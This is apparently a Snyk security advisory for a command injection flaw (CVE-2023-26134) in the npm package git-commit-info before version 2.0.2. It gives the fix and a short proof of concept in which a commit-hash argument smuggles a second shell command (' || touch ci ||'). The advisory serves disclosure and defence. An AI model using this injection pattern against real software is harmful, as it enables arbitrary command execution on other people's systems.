Command Injection Affecting git-commit-info package, versions <2.0.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.19% (58th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-GITCOMMITINFO-5740174
  • published27 Jun 2023
  • disclosed26 Jun 2023
  • creditFeng Xiao

Introduced: 26 Jun 2023

CVE-2023-26134  (opens in a new tab)
CWE-77  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade git-commit-info to version 2.0.2 or higher.

Overview

git-commit-info is a Get the info of an specific commit hash

Affected versions of this package are vulnerable to Command Injection such that the package-exported method gitCommitInfo () fails to sanitize its parameter commit, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they control the hash content.

PoC

const gitCommitInfo = require('git-commit-info')
// information of the latest commit in ./my_repo
gitCommitInfo({
  cwd: './my_repo',
  commit: '82442c2405804d7aa44e7bedbc0b93bb17707626' + " || touch ci ||", // a malicious file named ci will be crated
});

CVSS Scores

version 3.1